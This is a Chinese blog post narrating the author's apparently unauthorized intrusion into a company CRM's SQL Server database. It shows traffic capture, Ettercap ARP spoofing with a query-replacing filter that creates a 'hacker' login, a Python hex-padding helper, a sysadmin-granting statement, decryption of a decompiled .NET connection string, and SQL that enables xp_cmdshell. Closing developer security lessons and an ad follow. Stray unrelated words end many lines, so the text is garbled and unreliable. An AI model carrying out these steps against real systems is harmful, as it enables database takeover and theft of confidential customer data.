今天這篇文章不許備講太多理論,講我最近遇到的一個案例。從技術上講,這個例子沒什麼高深的,還有一點狗屎運的成分,可是它又足夠典型,典型到我能夠講出不少大道理用來裝逼。So,咱們開始吧。python
CRM系統是什麼,若是你不知道的話,請自行Google。從數據的角度講,它包含了一個公司全部往來客戶的機密資料,若是泄露的話,後果很嚴重。下面是我無心中發現的一個網站,掛着一個CRM軟件的下載連接。開始的時候我覺得這個是一家賣CRM的公司,可是看着又不太像。程序員
從網站的其餘信息看,這彷彿是一個公司內部的CRM系統,因而我下載下來。web
直接是一個登陸界面,我先隨便輸入了一個用戶名,沒有輸入密碼。sql
而後我又輸入了一個「admin」.shell
經過簡單的嘗試,咱們能夠肯定這不是通用的CRM系統,是定製的,並且能夠在外網使用,是否有綁定計算機不得而知,外網服務器IP不知道,是否直接鏈接外網的數據庫服務器不知道。下面咱們經過抓包來確認一下。數據庫
啓動Wireshark,而後點擊登陸按鈕,當即中止抓包,我發現了一連串的TDS包。編程
下面的信息確認這個軟件是直接鏈接的數據庫服務器,並無經過後端的服務接口來返回數據。小程序
查詢語句很明顯,可是也很奇怪,開發者在用用戶名查詢密碼,而後要作的應該是用返回的密碼和用戶輸入的密碼進行比對。不過還好,它返回的密碼是加密過的。後端
根據對sqlserver 的瞭解,在登陸認證階段,默認是加密傳輸的,並不會暴露用戶名和密碼,可是咱們能夠經過從數據包中分析出數據庫的版本和服務器的基本信息。安全
訪問的數據庫名:
服務器名稱:
固然從名字上看應該是win7系統,win7作服務器也比較奇葩。
數據版本:
SqlServer 10.0,應該是2008版本。
ok,如今簡單總結下。經過抓包分析,咱們獲得了目標服務器的IP,打開的端口至少有80和1433,操做系統是win7,數據庫爲SQLServer2008,鏈接的目標數據庫名稱。下面咱們有三個方向能夠去努力,一個是找服務器和web應用的漏洞去滲透,第二個是繼續挖掘軟件自己的漏洞,第三個是攻擊數據庫。咱們不知道當前應用登陸數據庫所使用的帳號的權限是怎麼樣的,可是已經可以大體判斷軟件編寫者的編程水平了,從編程水平去推斷90%的可能性是sa用戶或者sa權限。下面邪惡的想法來了,攔截並修改查詢語句,新建一個數據庫管理帳號,而後使用工具直接鏈接上去,那麼不就控制了數據庫了嗎,控制數據庫後是否是還有機會控制服務器呢?試試便知。
在本機就不必中間人攻擊了吧?不過我仍是很是想利用Ettercap的Filter和replace功能,能夠省掉不少麻煩。
首先在虛擬機裏啓動個人Kali Linux,而後在Kali裏面啓動Ettercap進行Arp欺騙測試(Ettercap的詳細使用請google,這裏簡單說明)。
第一步,開啓路由轉發功能。
# 啓用IP路由轉發功能
echo 1 > /proc/sys/net/ipv4/ip_forward
第二步,在」/etc/ettercap/etter.conf」中配置轉發。
第三步,arp欺騙。
第四步,測試。
使用driftnet 測試,是否能攔截主機的圖片請求,若是能,證實arp欺騙成功。
上面的測試證實了中間人攻擊可行,那麼下面咱們開始構造Filter腳本。先建立一個1433.filter文件,輸入以下內容:
search和replace的內容是須要咱們按需構造的。search的內容咱們能夠在剛纔的抓包工具中獲取到,就是從數據庫中查詢密碼的sql語句,replace的內容我這裏想要它執行這樣的語句:
CREATE LOGIN hacker WITH PASSWORD=’YouGotHacked1#’;
下面咱們再回頭看看要搜索的元素請求數據。
select Employee_UserName,Employee_PassWord from E_Employee where Employee_State= 217 and Employee_UserName='admin'
這份數據每一個字符後面都填充了\x00的null byte,這是不可打印的,這意味着咱們須要將內容所有轉爲16進制,而後填充\x00。
還有另外一個問題要注意,替換的數據必須與原數據長度相同,不然會引發TCP數據傳輸中斷。手工去作這件事略微有點麻煩,我仍是寫段小程序來搞定吧。
def stringToHex(string,padLength=0):
s1=[hex(ord(s)).replace("0x",'\\x') for s in string];
result='';
for s in s1:
result=result+s+'\\x00'
for num in range(padLength):
result=result+'\\x20\\x00'
return result;
def getHex(sourceSql,targetSql):
if len(sourceSql) <len(targetSql):
print('erro');
else:
padLength=len(sourceSql)-len(targetSql);
print(stringToHex(sourceSql));
print(stringToHex(targetSql,padLength));
def main():
source="select Employee_UserName,Employee_PassWord from E_Employee where Employee_State= 217 and Employee_UserName='admin'";
target="CREATE LOGIN hacker WITH PASSWORD='YouGotHacked1#'";
getHex(source,target);
if __name__=='__main__':
main();
一小段python,不是什麼高明的代碼就不解釋了,最終filter腳本的樣子:
下面咱們將1433.filter文件生成爲Ettercap可以使用的ef文件。
再次運行 Ettercap:
此時點擊軟件的登陸按鈕。
咱們看到filter腳本打印出來的「success replace」,是否是真的成功了呢?
我使用vs2015的數據庫鏈接工具,進行鏈接,奇蹟就這麼出現了:
鏈接成功。不過權限有點問題,咱們能夠再次修改Sql語句,提高它的權限,好比下面這句話:
ALTER SERVER ROLE sysadmin ADD MEMBER hacker;
這一步就不詳細演示了,流程和上面同樣。下面咱們再回到另外一個分支上,來找找軟件自己的弱點。
看了下面的內容,你必定會以爲我上面的操做都是瞎費勁,幾分鐘就解決問題了。這個例子確實是這樣,不過上面的方法更通用一些,並且難度不高,是須要優先掌握的。
在軟件的安裝目錄中,我首先看到了這樣幾個dll文件:
做爲一名資深的.NET程序員,看到名字我就知道這是.NET寫的程序了。因而先找到config文件,看看程序員是否是把數據庫鏈接串寫到這裏了。
鏈接串確實在這裏了,不過加密了。
可是到這裏,我對這個程序已經沒什麼慾望了,即便它防禦作的再好,那也是個.NET程序,是.NET程序,我就能攻破它(專業破解.NET,從未失敗過)。不過使人失望的是,這個程序連基本代碼混淆都沒作,固然更沒有殼,也沒有代碼加密。使用反編譯工具隨便點了點,而後拷貝了幾段代碼:
仍是要忍不住吐槽這代碼寫的太渣了,不過成功的解密了鏈接串,成功登陸了數據庫,不是SA用戶,可是卻有sa權限,試了下xp_cmdshell,默認被數據庫禁用了。執行下面的sql語句解封,
sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go
好了,又到了裝逼的環節了。這段總結是說給像我這樣平時大道理一堆堆,寫代碼的時候一坨坨的程序員的。
首先,權限管理必需要嚴格控制。一個在公司內部使用的系統,爲何要掛到外網上,讓任何人均可如下載?數據庫權限控制,不一樣的系統劃分不一樣的帳號這是基本常識(我也常常不劃分,就是爲了偷懶),不一樣的帳號控制不一樣的權限,甚至帳號能夠細化到讀/寫,表,存儲過程級別。既然用戶有角色劃分,那麼咱們的代碼必須也要有訪問權限劃分。不是在代碼內部要訪問數據的時候加個if-else,應該在調用還沒開始就擋在外面。
第二,一個必須聯網才能使用的程序,爲何不把數據訪問,核心業務邏輯都放在遠端的服務器上,公開接口給客戶端調用呢?只有一個緣由,程序員太懶。我就是搞winform的,你要老子搞什麼服務端,不會!連基本的分層和服務劃分都不注意,在基礎架構這就留下了安全隱患,同時客戶端的安全漏洞直接致使服務器被攻陷。
第三,.NET/Java 這類應用沒有辦法絕對防止反編譯,只是時間問題。可是這不表明咱們就不該該作程序保護,加殼,源碼混淆,程序集加密,結合服務端獲取進行rsa加密解密的動態程序集構建技術,是能夠把90%的初級用戶擋在門外的。城門大開就不對了。
這些話題就不展開了,網上一搜一大堆。
好吧,沒什麼值得繼續的了,到此結束吧。
下面是廣告時間:
關注微信訂閱號,持續推送優秀安全類文章。
歡迎加入網絡安全羣:147098303。
最新網絡公開課預告:
時間:5月24日
內容:python黑客編程之局域網嗅探和敏感信息探測